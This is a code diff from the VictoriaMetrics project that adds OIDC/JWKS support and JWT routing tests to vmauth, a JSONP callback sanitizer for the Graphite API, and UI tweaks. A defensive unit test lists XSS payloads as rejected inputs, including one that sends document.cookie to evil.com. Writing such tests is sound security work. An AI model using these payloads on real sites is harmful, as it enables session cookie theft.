+      url_prefix: {BACKEND}/ops
+`,
+		request,
+		responseExpected,
+	)
+
+	// use claim for routing, most specific not matching
+	request = httptest.NewRequest(`GET`, "http://some-host.com/route", nil)
+	request.Header.Set(`Authorization`, `Bearer `+nestedToken)
+	responseExpected = `
+statusCode=200
+path: /less_claims/route
+query:
+headers:
+`
+	f(`
+users:
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: ops
+     nested.scopes.1: "logs"
+     nested.department_id: "0"
+  url_map:
+    - src_paths: ["/route"]
+      url_prefix: {BACKEND}/more_claims
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: dev
+     nested.team_permissions.write: "1"
+  url_map:
+    - src_paths: ["/route"]
+      url_prefix: {BACKEND}/less_claims
+`,
+		request,
+		responseExpected,
+	)
+
+	// use claim for routing, empty claim match
+	request = httptest.NewRequest(`GET`, "http://some-host.com/route", nil)
+	request.Header.Set(`Authorization`, `Bearer `+nestedToken)
+	responseExpected = `
+statusCode=200
+path: /empty/route
+query:
+headers:
+`
+	f(`
+users:
+- jwt:
+    skip_verify: true
+  url_map:
+    - src_paths: ["/route"]
+      url_prefix: {BACKEND}/empty
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: ops
+     nested.team_permissions.write: "1"
+  url_map:
+    - src_paths: ["/route"]
+      url_prefix: {BACKEND}/ops
+`,
+		request,
+		responseExpected,
+	)
 
 }
 
+func TestOIDCRequestHandler(t *testing.T) {
+	privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
+	if err != nil {
+		t.Fatalf("cannot generate RSA key: %s", err)
+	}
+
+	var oidcSrv *httptest.Server
+	oidcRespOK := atomic.Bool{}
+	oidcRespOK.Store(true)
+
+	oidcSrv = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		switch r.URL.Path {
+		case "/.well-known/openid-configuration":
+			w.Header().Set("Content-Type", "application/json")
+			if err := json.NewEncoder(w).Encode(map[string]string{
+				"issuer":   oidcSrv.URL,
+				"jwks_uri": oidcSrv.URL + "/jwks",
+			}); err != nil {
+				panic(fmt.Errorf("cannot write openid-configuration response: %w", err))
+			}
+		case "/jwks":
+			if !oidcRespOK.Load() {
+				http.Error(w, "internal server error", http.StatusInternalServerError)
+				return
+			}
+
+			// Encode the RSA public key in JWK format (base64url, no padding)
+			nBytes := privateKey.N.Bytes()
+			eBytes := big.NewInt(int64(privateKey.E)).Bytes()
+			jwksBody := fmt.Sprintf(`{"keys":[{"kty":"RSA","kid":%q,"n":%q,"e":%q}]}`,
+				`test-key-id`,
+				base64.RawURLEncoding.EncodeToString(nBytes),
+				base64.RawURLEncoding.EncodeToString(eBytes),
+			)
+
+			w.Header().Set("Content-Type", "application/json")
+			if _, err := w.Write([]byte(jwksBody)); err != nil {
+				panic(fmt.Errorf("cannot write jwks response: %w", err))
+			}
+		default:
+			http.NotFound(w, r)
+		}
+	}))
+	defer oidcSrv.Close()
+
+	headerJSON, err := json.Marshal(map[string]any{
+		"alg": "RS256",
+		"typ": "JWT",
+		"iss": oidcSrv.URL,
+		"kid": `test-key-id`,
+	})
+	if err != nil {
+		t.Fatalf("cannot marshal JWT header: %s", err)
+	}
+	headerB64 := base64.RawURLEncoding.EncodeToString(headerJSON)
+
+	bodyJSON, err := json.Marshal(map[string]any{
+		"exp":       time.Now().Add(time.Minute).Unix(),
+		"iss":       oidcSrv.URL,
+		"vm_access": map[string]any{},
+	})
+	if err != nil {
+		t.Fatalf("cannot marshal JWT body: %s", err)
+	}
+	bodyB64 := base64.RawURLEncoding.EncodeToString(bodyJSON)
+
+	payload := headerB64 + "." + bodyB64
+
+	var signatureB64 string
+	hash := crypto.SHA256
+	h := hash.New()
+	h.Write([]byte(payload))
+	digest := h.Sum(nil)
+
+	signature, err := rsa.SignPKCS1v15(rand.Reader, privateKey, hash, digest)
+	if err != nil {
+		t.Fatalf("cannot sign JWT token: %s", err)
+	}
+	signatureB64 = base64.RawURLEncoding.EncodeToString(signature)
+
+	tkn := payload + "." + signatureB64
+
+	backSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+	defer backSrv.Close()
+
+	f := func(responseExpected string) {
+		t.Helper()
+
+		cfgStr := `
+users:
+- jwt:
+    oidc:
+      issuer: ` + oidcSrv.URL + `
+  url_prefix: ` + backSrv.URL + `/
+`
+
+		cfgOrigP := authConfigData.Load()
+		if _, err := reloadAuthConfigData([]byte(cfgStr)); err != nil {
+			t.Fatalf("cannot load config data: %s", err)
+		}
+		defer func() {
+			cfgOrig := []byte("unauthorized_user:\n  url_prefix: http://foo/bar")
+			if cfgOrigP != nil {
+				cfgOrig = *cfgOrigP
+			}
+			if _, err := reloadAuthConfigData(cfgOrig); err != nil {
+				t.Fatalf("cannot restore original config: %s", err)
+			}
+		}()
+
+		r := httptest.NewRequest("GET", "http://some-host.com/api/v1/query", nil)
+		r.Header.Set("Authorization", "Bearer "+tkn)
+
+		w := &fakeResponseWriter{}
+		if !requestHandlerWithInternalRoutes(w, r) {
+			t.Fatalf("unexpected false returned from requestHandler")
+		}
+
+		if response := w.getResponse(); response != responseExpected {
+			t.Fatalf("unexpected response\ngot\n%s\nwant\n%s", response, responseExpected)
+		}
+	}
+
+	// successful
+	f(`statusCode=200
+`)
+
+	oidcRespOK.Store(false)
+	// OIDC server error
+	f(`statusCode=401
+Unauthorized
+`)
+}
+
 type fakeResponseWriter struct {
-	h http.Header
+	statusCode int
+	h          http.Header
 
 	bb bytes.Buffer
 }
@@ -1265,6 +1559,7 @@ func (w *fakeResponseWriter) Write(p []byte) (int, error) {
 }
 
 func (w *fakeResponseWriter) WriteHeader(statusCode int) {
+	w.statusCode = statusCode
 	fmt.Fprintf(&w.bb, "statusCode=%d\n", statusCode)
 	if w.h == nil {
 		return
@@ -1285,6 +1580,12 @@ func (w *fakeResponseWriter) SetReadDeadline(deadline time.Time) error {
 	return nil
 }
 
+func (w *fakeResponseWriter) reset() {
+	w.bb.Reset()
+	w.statusCode = 0
+	clear(w.h)
+}
+
 func TestBufferRequestBody_Success(t *testing.T) {
 	defaultRequestBufferSize := requestBufferSize.String()
 	defer func() {

app/vmauth/main_timing_test.go

@@ -0,0 +1,194 @@
+package main
+
+import (
+	"crypto"
+	"crypto/rand"
+	"crypto/rsa"
+	"crypto/x509"
+	"encoding/base64"
+	"encoding/json"
+	"encoding/pem"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+)
+
+func BenchmarkJWTRequestHandler(b *testing.B) {
+	// Generate RSA key pair for testing
+	privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
+	if err != nil {
+		b.Fatalf("cannot generate RSA key: %s", err)
+	}
+
+	// Generate public key PEM
+	publicKeyBytes, err := x509.MarshalPKIXPublicKey(&privateKey.PublicKey)
+	if err != nil {
+		b.Fatalf("cannot marshal public key: %s", err)
+	}
+	publicKeyPEM := pem.EncodeToMemory(&pem.Block{
+		Type:  "PUBLIC KEY",
+		Bytes: publicKeyBytes,
+	})
+
+	genToken := func(t *testing.B, body map[string]any, valid bool) string {
+		t.Helper()
+
+		headerJSON, err := json.Marshal(map[string]any{
+			"alg": "RS256",
+			"typ": "JWT",
+		})
+		if err != nil {
+			t.Fatalf("cannot marshal header: %s", err)
+		}
+		headerB64 := base64.RawURLEncoding.EncodeToString(headerJSON)
+
+		bodyJSON, err := json.Marshal(body)
+		if err != nil {
+			t.Fatalf("cannot marshal body: %s", err)
+		}
+		bodyB64 := base64.RawURLEncoding.EncodeToString(bodyJSON)
+
+		payload := headerB64 + "." + bodyB64
+
+		var signatureB64 string
+		if valid {
+			// Create real RSA signature
+			hash := crypto.SHA256
+			h := hash.New()
+			h.Write([]byte(payload))
+			digest := h.Sum(nil)
+
+			signature, err := rsa.SignPKCS1v15(rand.Reader, privateKey, hash, digest)
+			if err != nil {
+				t.Fatalf("cannot sign token: %s", err)
+			}
+			signatureB64 = base64.RawURLEncoding.EncodeToString(signature)
+		} else {
+			signatureB64 = base64.RawURLEncoding.EncodeToString([]byte("invalid_signature"))
+		}
+
+		return payload + "." + signatureB64
+	}
+
+	f := func(name string, cfgStr string, r *http.Request, statusCodeExpected int) {
+		b.Helper()
+
+		b.ReportAllocs()
+		b.ResetTimer()
+		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			w.WriteHeader(http.StatusOK)
+			if _, err := w.Write([]byte("path: " + r.URL.Path + "\n")); err != nil {
+				panic(fmt.Errorf("cannot write response: %w", err))
+			}
+		}))
+		defer ts.Close()
+
+		cfgStr = strings.ReplaceAll(cfgStr, "{BACKEND}", ts.URL)
+
+		cfgOrigP := authConfigData.Load()
+		if _, err := reloadAuthConfigData([]byte(cfgStr)); err != nil {
+			b.Fatalf("cannot load config data: %s", err)
+		}
+		defer func() {
+			cfgOrig := []byte("unauthorized_user:\n  url_prefix: http://foo/bar")
+			if cfgOrigP != nil {
+				cfgOrig = *cfgOrigP
+			}
+			_, err := reloadAuthConfigData(cfgOrig)
+			if err != nil {
+				b.Fatalf("cannot load the original config: %s", err)
+			}
+		}()
+
+		b.Run(name, func(b *testing.B) {
+			b.ResetTimer()
+			b.ReportAllocs()
+			b.RunParallel(func(pb *testing.PB) {
+				w := &fakeResponseWriter{}
+				for pb.Next() {
+					w.reset()
+					if !requestHandlerWithInternalRoutes(w, r) {
+						b.Fatalf("unexpected false is returned from requestHandler")
+					}
+					if w.statusCode != statusCodeExpected {
+						b.Fatalf("unexpected response code (-%d;+%d)", statusCodeExpected, w.statusCode)
+					}
+
+				}
+			})
+		})
+	}
+
+	simpleCfgStr := fmt.Sprintf(`
+users:
+- jwt:
+    public_keys:
+    - %q
+  url_prefix: {BACKEND}/foo`, string(publicKeyPEM))
+	noVMAccessClaimToken := genToken(b, nil, true)
+	expiredToken := genToken(b, map[string]any{
+		"exp":       10,
+		"vm_access": map[string]any{},
+	}, true)
+
+	fullToken := genToken(b, map[string]any{
+		"exp":   time.Now().Add(10 * time.Minute).Unix(),
+		"scope": "email id",
+		"vm_access": map[string]any{
+			"extra_labels": map[string]string{
+				"label":  "value1",
+				"label2": "value3",
+			},
+			"extra_filters":      []string{"stream_filter1", "stream_filter2"},
+			"metrics_account_id": 123,
+			"metrics_project_id": 234,
+			"metrics_extra_labels": []string{
+				"label1=value1",
+				"label2=value2",
+			},
+			"metrics_extra_filters": []string{
+				`{label3="value3"}`,
+				`{label4="value4"}`,
+			},
+			"logs_account_id": 345,
+			"logs_project_id": 456,
+			"logs_extra_filters": []string{
+				`{"namespace":"my-app","env":"prod"}`,
+			},
+			"logs_extra_stream_filters": []string{
+				`{"team":"dev"}`,
+			},
+		},
+	}, true)
+
+	// tenant headers are overwritten if set as placeholders
+	// extra_filters extra_stream_filters from vm_access claim merged with statically defined
+	request := httptest.NewRequest(`GET`, "http://some-host.com/query", nil)
+	request.Header.Set(`Authorization`, `Bearer `+fullToken)
+	f("full_template",
+		fmt.Sprintf(`
+users:
+- jwt:
+    public_keys:
+    - %q
+  headers:
+    - "AccountID: {{.LogsAccountID}}"
+    - "ProjectID: {{.LogsProjectID}}"
+  url_prefix: {BACKEND}/select/logsql/?extra_filters=aStaticFilter&extra_stream_filters=aStaticStreamFilter&extra_filters={{.LogsExtraFilters}}&extra_stream_filters={{.LogsExtraStreamFilters}}`, string(publicKeyPEM)),
+		request,
+		http.StatusOK,
+	)
+
+	// token without vm_access claim
+	request = httptest.NewRequest(`GET`, "http://some-host.com/abc", nil)
+	request.Header.Set(`Authorization`, `Bearer `+noVMAccessClaimToken)
+	f("token_without_claim", simpleCfgStr, request, http.StatusUnauthorized)
+
+	// expired token
+	request = httptest.NewRequest(`GET`, "http://some-host.com/abc", nil)
+	request.Header.Set(`Authorization`, `Bearer `+expiredToken)
+	f("expired_token", simpleCfgStr, request, http.StatusUnauthorized)
+}

app/vmauth/oidc.go

@@ -0,0 +1,290 @@
+package main
+
+import (
+	"context"
+	"crypto/ecdsa"
+	"crypto/elliptic"
+	"crypto/rsa"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"math/big"
+	"net/http"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/VictoriaMetrics/VictoriaMetrics/lib/jwt"
+	"github.com/VictoriaMetrics/VictoriaMetrics/lib/logger"
+	"github.com/VictoriaMetrics/VictoriaMetrics/lib/timeutil"
+)
+
+type oidcConfig struct {
+	Issuer string `yaml:"issuer"`
+}
+
+type oidcDiscovererPool struct {
+	ds map[string]*oidcDiscoverer
+
+	context context.Context
+	cancel  func()
+	wg      *sync.WaitGroup
+}
+
+func (dp *oidcDiscovererPool) createOrAdd(issuer string, vp *atomic.Pointer[jwt.VerifierPool]) {
+	if dp.ds == nil {
+		dp.ds = make(map[string]*oidcDiscoverer)
+		dp.context, dp.cancel = context.WithCancel(context.Background())
+		dp.wg = &sync.WaitGroup{}
+	}
+
+	ds, found := dp.ds[issuer]
+	if !found {
+		ds = &oidcDiscoverer{
+			issuer: issuer,
+		}
+		dp.ds[issuer] = ds
+	}
+
+	ds.vps = append(ds.vps, vp)
+}
+
+func (dp *oidcDiscovererPool) startDiscovery() {
+	if len(dp.ds) == 0 {
+		return
+	}
+
+	for _, d := range dp.ds {
+		dp.wg.Go(func() {
+			if err := d.refreshVerifierPools(dp.context); err != nil {
+				logger.Errorf("failed to initialize OIDC verifier pool at start for issuer %q: %s", d.issuer, err)
+			}
+		})
+	}
+	dp.wg.Wait()
+
+	for _, d := range dp.ds {
+		dp.wg.Go(func() {
+			d.run(dp.context)
+		})
+	}
+}
+
+func (dp *oidcDiscovererPool) stopDiscovery() {
+	if len(dp.ds) == 0 {
+		return
+	}
+
+	dp.cancel()
+	dp.wg.Wait()
+}
+
+type oidcDiscoverer struct {
+	issuer string
+	vps    []*atomic.Pointer[jwt.VerifierPool]
+}
+
+func (d *oidcDiscoverer) run(ctx context.Context) {
+	t := time.NewTimer(timeutil.AddJitterToDuration(time.Second * 10))
+	defer t.Stop()
+
+	for {
+		select {
+		case <-t.C:
+			if err := d.refreshVerifierPools(ctx); errors.Is(err, context.Canceled) {
+				return
+			} else if err != nil {
+				t.Reset(timeutil.AddJitterToDuration(time.Second * 10))
+				logger.Errorf("failed to refresh OIDC verifier pool for issuer %q: %v", d.issuer, err)
+				continue
+			}
+			// OIDC may return Cache-Control header with max-age directive.
+			// It could be used as time range for next refresh.
+			// https://openid.net/specs/openid-connect-core-1_0.html#RotateEncKeys
+			t.Reset(timeutil.AddJitterToDuration(time.Minute * 5))
+		case <-ctx.Done():
+			return
+		}
+	}
+}
+
+func (d *oidcDiscoverer) refreshVerifierPools(ctx context.Context) error {
+	cfg, err := getOpenIDConfiguration(ctx, d.issuer)
+	if err != nil {
+		return err
+	}
+	// The issuer in the OIDC configuration must match the expected issuer.
+	// https://openid.net/specs/openid-connect-core-1_0.html#RotateEncKeys
+	if cfg.Issuer != d.issuer {
+		return fmt.Errorf("openid configuration issuer %q does not match expected issuer %q", cfg.Issuer, d.issuer)
+	}
+
+	keys, err := fetchJWKs(ctx, cfg.JWKsURI)
+	if err != nil {
+		return err
+	}
+
+	verifierPool, err := jwt.NewVerifierPool(keys)
+	if err != nil {
+		return err
+	}
+
+	for _, vp := range d.vps {
+		vp.Store(verifierPool)
+	}
+	return nil
+}
+
+type jwksResponse struct {
+	Keys []jwk `json:"keys"`
+}
+
+// See https://www.rfc-editor.org/rfc/rfc7517 for details.
+type jwk struct {
+	Type string `json:"kty"`
+	Alg  string `json:"alg"`
+	Use  string `json:"use"`
+	Kid  string `json:"kid"`
+
+	// RSA keys contents
+	E string `json:"e"`
+	N string `json:"n"`
+
+	// EC keys contents
+	Crv string `json:"crv"`
+	X   string `json:"x"`
+	Y   string `json:"y"`
+}
+
+// See https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata for details.
+type openidConfig struct {
+	Issuer  string `json:"issuer"`
+	JWKsURI string `json:"jwks_uri"`
+}
+
+var oidcHTTPClient = &http.Client{
+	Timeout: time.Second * 5,
+}
+
+func fetchJWKs(ctx context.Context, jwksURI string) ([]any, error) {
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwksURI, nil)
+	if err != nil {
+		return nil, fmt.Errorf("failed to create request for fetching jwks keys from %q: %w", jwksURI, err)
+	}
+
+	resp, err := oidcHTTPClient.Do(req)
+	if err != nil {
+		return nil, fmt.Errorf("failed to fetch jwks keys from %q: %w", jwksURI, err)
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		return nil, fmt.Errorf("unexpected status code %d when fetching jwks keys from %q", resp.StatusCode, jwksURI)
+	}
+
+	var jwks jwksResponse
+	if err := json.NewDecoder(resp.Body).Decode(&jwks); err != nil {
+		return nil, fmt.Errorf("failed to decode jwks response from %q: %v", jwksURI, err)
+	}
+
+	keys, err := parseJwksKeys(&jwks)
+	if err != nil {
+		return nil, fmt.Errorf("failed to parse jwks keys from %q: %v", jwksURI, err)
+	}
+
+	return keys, nil
+}
+
+func getOpenIDConfiguration(ctx context.Context, issuer string) (openidConfig, error) {
+	issuer, _ = strings.CutSuffix(issuer, "/")
+	configURL := fmt.Sprintf("%s/.well-known/openid-configuration", issuer)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, configURL, nil)
+	if err != nil {
+		return openidConfig{}, fmt.Errorf("failed to create request for fetching openid config from %q: %w", configURL, err)
+	}
+
+	resp, err := oidcHTTPClient.Do(req)
+	if err != nil {
+		return openidConfig{}, fmt.Errorf("failed to fetch openid config from %q: %w", configURL, err)
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		return openidConfig{}, fmt.Errorf("unexpected status code %d when fetching openid config from %q", resp.StatusCode, configURL)
+	}
+
+	var cfg openidConfig
+	if err := json.NewDecoder(resp.Body).Decode(&cfg); err != nil {
+		return openidConfig{}, fmt.Errorf("failed to decode openid config from %q: %s", configURL, err)
+	}
+
+	return cfg, nil
+}
+
+func parseJwksKeys(resp *jwksResponse) ([]any, error) {
+	keys := make([]any, 0)
+	for _, key := range resp.Keys {
+		if key.Kid == "" {
+			return nil, fmt.Errorf("jwks key without kid found")
+		}
+
+		switch key.Type {
+		case "RSA":
+			if key.E == "" || key.N == "" {
+				return nil, fmt.Errorf("jwks key without e or n found")
+			}
+			e, err := base64.RawURLEncoding.DecodeString(key.E)
+			if err != nil {
+				return nil, fmt.Errorf("failed to decode jwks key e: %w", err)
+			}
+			exp := big.NewInt(0).SetBytes(e)
+			if !exp.IsInt64() || exp.Int64() < 1 {
+				return nil, fmt.Errorf("invalid RSA exponent")
+			}
+
+			n, err := base64.RawURLEncoding.DecodeString(key.N)
+			if err != nil {
+				return nil, fmt.Errorf("failed to decode jwks key n: %w", err)
+			}
+			keys = append(keys, &rsa.PublicKey{
+				E: int(exp.Int64()),
+				N: big.NewInt(0).SetBytes(n),
+			})
+		case "EC":
+			if key.Crv == "" || key.X == "" || key.Y == "" {
+				return nil, fmt.Errorf("jwks key without crv or x or y found")
+			}
+			x, err := base64.RawURLEncoding.DecodeString(key.X)
+			if err != nil {
+				return nil, fmt.Errorf("failed to decode jwks key x: %w", err)
+			}
+			y, err := base64.RawURLEncoding.DecodeString(key.Y)
+			if err != nil {
+				return nil, fmt.Errorf("failed to decode jwks key y: %w", err)
+			}
+			var curve elliptic.Curve
+			switch key.Crv {
+			case "P-256":
+				curve = elliptic.P256()
+			case "P-384":
+				curve = elliptic.P384()
+			case "P-521":
+				curve = elliptic.P521()
+			default:
+				return nil, fmt.Errorf("unsupported jwks key crv %q found", key.Crv)
+			}
+			keys = append(keys, &ecdsa.PublicKey{
+				Curve: curve,
+				X:     big.NewInt(0).SetBytes(x),
+				Y:     big.NewInt(0).SetBytes(y),
+			})
+		default:
+			return nil, fmt.Errorf("unsupported jwk.KTY: %s; want RSA or EC", key.Type)
+		}
+	}
+
+	return keys, nil
+}

app/vmselect/graphite/functions_api.go

@@ -52,7 +52,7 @@ func writeJSON(result any, w http.ResponseWriter, r *http.Request) error {
 	if err != nil {
 		return fmt.Errorf("cannot marshal response to JSON: %w", err)
 	}
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	contentType := getContentType(jsonp)
 	w.Header().Set("Content-Type", contentType)
 	if jsonp != "" {

app/vmselect/graphite/metrics_api.go

@@ -65,7 +65,7 @@ func MetricsFindHandler(startTime time.Time, w http.ResponseWriter, r *http.Requ
 	if label == "__name__" {
 		label = ""
 	}
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	from, err := httputil.GetTime(r, "from", 0)
 	if err != nil {
 		return err
@@ -139,7 +139,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
 	if len(delimiter) > 1 {
 		return fmt.Errorf("`delimiter` query arg must contain only a single char")
 	}
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	from, err := httputil.GetTime(r, "from", 0)
 	if err != nil {
 		return err
@@ -202,7 +202,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
 // See https://graphite-api.readthedocs.io/en/latest/api.html#metrics-index-json
 func MetricsIndexHandler(startTime time.Time, w http.ResponseWriter, r *http.Request) error {
 	deadline := searchutil.GetDeadlineForQuery(r, startTime)
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	sq := storage.NewSearchQuery(0, math.MaxInt64, nil, 0)
 	metricNames, err := netstorage.LabelValues(nil, "__name__", sq, 0, deadline)
 	if err != nil {
@@ -458,3 +458,16 @@ func getContentType(jsonp string) string {
 	}
 	return "text/javascript; charset=utf-8"
 }
+
+// validJSONPCallback matches only safe JavaScript identifier characters,
+// preventing JSONP callback injection (XSS) on Graphite API endpoints.
+var validJSONPCallback = regexp.MustCompile(`^[a-zA-Z_$][a-zA-Z0-9_$.]*$`)
+
+// sanitizeJSONP returns the callback name unchanged if it is a valid JavaScript
+// identifier, or an empty string if it contains any disallowed characters.
+func sanitizeJSONP(jsonp string) string {
+	if jsonp == "" || validJSONPCallback.MatchString(jsonp) {
+		return jsonp
+	}
+	return ""
+}

app/vmselect/graphite/metrics_api_test.go

@@ -66,6 +66,34 @@ func TestFilterLeaves(t *testing.T) {
 	f([]string{"foo.", "bar."}, ".", []string{})
 }
 
+func TestSanitizeJSONP(t *testing.T) {
+	f := func(input, want string) {
+		t.Helper()
+		got := sanitizeJSONP(input)
+		if got != want {
+			t.Fatalf("sanitizeJSONP(%q) = %q; want %q", input, got, want)
+		}
+	}
+
+	f("", "")
+
+	// ok
+	f("callback", "callback")
+	f("_cb", "_cb")
+	f("$", "$")
+	f("jQuery", "jQuery")
+	f("jQuery.fn.jsonp", "jQuery.fn.jsonp")
+	f("jQuery18304567890", "jQuery18304567890")
+
+	// rejected
+	f("alert(document.cookie)//", "")
+	f("fetch('https://evil.com/?c='+document.cookie)//", "")
+	f("callback\ninjected", "")
+	f("callback;injected", "")
+	f("callback(", "")
+	f("a b", "")
+}
+
 func TestAddAutomaticVariants(t *testing.T) {
 	f := func(query, delimiter, resultExpected string) {
 		t.Helper()

app/vmselect/graphite/render_api.go

@@ -134,7 +134,7 @@ func RenderHandler(startTime time.Time, w http.ResponseWriter, r *http.Request)
 		nextSeriess = append(nextSeriess, nextSeries)
 	}
 	f := nextSeriesGroup(nextSeriess, nil)
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	contentType := getContentType(jsonp)
 	w.Header().Set("Content-Type", contentType)
 	bw := bufferedwriter.Get(w)

app/vmselect/graphite/tags_api.go

@@ -235,7 +235,7 @@ func TagsAutoCompleteValuesHandler(startTime time.Time, w http.ResponseWriter, r
 		}
 	}
 
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	contentType := getContentType(jsonp)
 	w.Header().Set("Content-Type", contentType)
 	bw := bufferedwriter.Get(w)
@@ -318,7 +318,7 @@ func TagsAutoCompleteTagsHandler(startTime time.Time, w http.ResponseWriter, r *
 		}
 	}
 
-	jsonp := r.FormValue("jsonp")
+	jsonp := sanitizeJSONP(r.FormValue("jsonp"))
 	contentType := getContentType(jsonp)
 	w.Header().Set("Content-Type", contentType)
 	bw := bufferedwriter.Get(w)

app/vmui/Dockerfile-web

@@ -1,4 +1,4 @@
-FROM golang:1.26.0 AS build-web-stage
+FROM golang:1.26.1 AS build-web-stage
 COPY build /build
 
 WORKDIR /build

app/vmui/packages/vmui/src/components/ExploreMetrics/ExploreMetricGraph/ExploreMetricItemGraph.tsx

@@ -55,7 +55,7 @@ const ExploreMetricItem: FC<ExploreMetricItemGraphProps> = ({
 
     const base = `{${params.join(",")}}`;
     if (isBucket) {
-      return [`sum(rate(${base})) by (vmrange, le)`];
+      return [`sum(increase_pure(${base})) by (vmrange, le)`];
     }
     const queryBase = rateEnabled ? `rollup_rate(${base})` : `rollup(${base})`;
     return [`

app/vmui/packages/vmui/src/components/Main/TextField/TextField.tsx

@@ -27,6 +27,7 @@ interface TextFieldProps {
   endIcon?: ReactNode
   startIcon?: ReactNode
   disabled?: boolean
+  readonly?: boolean
   autofocus?: boolean
   helperText?: string
   inputmode?: "search" | "text" | "email" | "tel" | "url" | "none" | "numeric" | "decimal"
@@ -50,6 +51,7 @@ const TextField: FC<TextFieldProps> = ({
   endIcon,
   startIcon,
   disabled = false,
+  readonly = false,
   autofocus = false,
   inputmode = "text",
   caretPosition,
@@ -148,6 +150,7 @@ const TextField: FC<TextFieldProps> = ({
         <textarea
           className={inputClasses}
           disabled={disabled}
+          readOnly={readonly}
           ref={textareaRef}
           value={value}
           rows={1}
@@ -166,6 +169,7 @@ const TextField: FC<TextFieldProps> = ({
         <input
           className={inputClasses}
           disabled={disabled}
+          readOnly={readonly}
           ref={inputRef}
           value={value}
           type={type}

app/vmui/packages/vmui/src/pages/DownsamplingFilters/index.tsx

@@ -115,16 +115,20 @@ const DownsamplingFilters: FC = () => {
         </div>
         <div className="vm-downsampling-filters-body-top">
           <a
-            className="vm-link vm-link_with-icon"
             target="_blank"
             href="https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#downsampling"
             rel="help noreferrer"
           >
-            <WikiIcon/>
-            Documentation
+            <Button
+              variant="text"
+              color="gray"
+              startIcon={<WikiIcon/>}
+            >
+              Documentation
+            </Button>
           </a>
           <Button
-            variant="text"
+            variant="outlined"
             onClick={handleRunExample}
           >
             Try example
@@ -134,7 +138,7 @@ const DownsamplingFilters: FC = () => {
             onClick={handleApplyFilters}
             startIcon={<PlayIcon/>}
           >
-            Apply
+            Preview
           </Button>
         </div>
       </div>

app/vmui/packages/vmui/src/pages/Relabel/index.tsx

@@ -90,25 +90,33 @@ const Relabel: FC = () => {
         </div>
         <div className="vm-relabeling-header-bottom">
           <a
-            className="vm-link vm-link_with-icon"
             target="_blank"
             href="https://docs.victoriametrics.com/victoriametrics/relabeling/"
             rel="help noreferrer"
           >
-            <InfoIcon/>
-            Relabeling cookbook
+            <Button
+              variant="text"
+              color="gray"
+              startIcon={<InfoIcon/>}
+            >
+              Relabeling cookbook
+            </Button>
           </a>
           <a
-            className="vm-link vm-link_with-icon"
             target="_blank"
             href="https://docs.victoriametrics.com/victoriametrics/relabeling/"
             rel="help noreferrer"
           >
-            <WikiIcon/>
-            Documentation
+            <Button
+              variant="text"
+              color="gray"
+              startIcon={<WikiIcon/>}
+            >
+              Documentation
+            </Button>
           </a>
           <Button
-            variant="text"
+            variant="outlined"
             onClick={handleRunExample}
           >
             Try example
@@ -118,7 +126,7 @@ const Relabel: FC = () => {
             onClick={handleRunQuery}
             startIcon={<PlayIcon/>}
           >
-            Submit
+            Preview
           </Button>
         </div>
       </div>

app/vmui/packages/vmui/src/pages/Relabel/style.scss

@@ -33,7 +33,7 @@
       display: flex;
       align-items: center;
       justify-content: flex-end;
-      gap: $padding-global;
+      gap: $padding-small;
 
       a {
         color: $color-text-secondary;

app/vmui/packages/vmui/src/pages/RetentionFilters/index.tsx

@@ -107,16 +107,20 @@ const RetentionFilters: FC = () => {
         </div>
         <div className="vm-retention-filters-body-top">
           <a
-            className="vm-link vm-link_with-icon"
             target="_blank"
             href="https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#retention-filters"
             rel="help noreferrer"
           >
-            <WikiIcon/>
-            Documentation
+            <Button
+              variant="text"
+              color="gray"
+              startIcon={<WikiIcon/>}
+            >
+              Documentation
+            </Button>
           </a>
           <Button
-            variant="text"
+            variant="outlined"
             onClick={handleRunExample}
           >
             Try example
@@ -126,7 +130,7 @@ const RetentionFilters: FC = () => {
             onClick={handleApplyFilters}
             startIcon={<PlayIcon/>}
           >
-            Apply
+            Preview
           </Button>
         </div>
       </div>

app/vmui/packages/vmui/src/pages/WithTemplate/index.tsx

@@ -48,7 +48,7 @@ const WithTemplate: FC = () => {
             type="textarea"
             label="MetricsQL query after expanding WITH expressions and applying other optimizations"
             value={data}
-            disabled
+            readonly
           />
         </div>
         <div className="vm-with-template-body-top">

app/vmui/packages/vmui/vite.config.ts

@@ -21,7 +21,7 @@ const getProxy = (): Record<string, ProxyOptions> | undefined => {
   };
 
   return {
-    "^/prometheus/(api|vmalert)/.*": { ...commonProxy },
+    "^/prometheus/.*": { ...commonProxy },
     "/prometheus/vmui/config.json": { ...commonProxy },
   };
 };

deployment/docker/Makefile

@@ -7,7 +7,7 @@ ROOT_IMAGE ?= alpine:3.23.3
